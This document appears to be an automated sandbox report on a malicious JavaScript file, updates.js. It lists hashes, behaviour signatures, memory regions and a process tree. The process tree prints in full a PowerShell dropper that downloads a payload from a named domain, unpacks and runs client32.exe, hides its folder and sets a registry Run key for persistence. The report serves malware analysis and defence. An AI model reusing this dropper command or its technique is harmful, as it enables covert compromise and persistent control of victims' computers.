Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    17-07-2024 13:18

General

  • Target

    updates.js

  • Size

    7.3MB

  • MD5

    917ed9cb792f81537e24395e1505bf6c

  • SHA1

    25fec4cba71614d8332cac3f4446fca039d1f33e

  • SHA256

    d62447548f057c993c73fece105a22d98d2e2604e4f0cd26bb6821b2686e732f

  • SHA512

    e0b907f89db72260dd82346e6a55e71870e57a4654dfbe15670143304016d04d6a581da270c160dc27e70d26b4f8641f3dbf2da87ce9f646741e09a1a17a7921

  • SSDEEP

    49152:f7h4zjCxb7qHlp4BOlN0KFhcuscyEMzYsm7++86mn3Ef/Vf7GI0/3qp6RCgScEQy:y

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://luxurycaborental.com/cdn-vs/data.php?12105

exe.dropper

http://luxurycaborental.com/cdn-vs/data.php?12105

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2148
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $UETAMVCS='http://luxurycaborental.com/cdn-vs/data.php?12105';$XAJCG=(New-Object System.Net.WebClient).DownloadString($UETAMVCS);$OTZWZ=[System.Convert]::FromBase64String($XAJCG);$asd = Get-Random -Minimum -10 -Maximum 37; $ZPLWC=[System.Environment]::GetFolderPath('ApplicationData')+'\QCHBWPB'+$asd;if (!(Test-Path $ZPLWC -PathType Container)) { New-Item -Path $ZPLWC -ItemType Directory };$p=Join-Path $ZPLWC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$OTZWZ);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$ZPLWC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $ZPLWC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $ZPLWC -Force; $fd.attributes='Hidden';$s=$ZPLWC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='BTGEEENA';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2460

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2460-4-0x000007FEF60CE000-0x000007FEF60CF000-memory.dmp

    Filesize

    4KB

  • memory/2460-5-0x000000001B870000-0x000000001BB52000-memory.dmp

    Filesize

    2.9MB

  • memory/2460-6-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

    Filesize

    32KB

  • memory/2460-7-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

    Filesize

    9.6MB

  • memory/2460-8-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

    Filesize

    9.6MB

  • memory/2460-9-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

    Filesize

    9.6MB

  • memory/2460-11-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

    Filesize

    9.6MB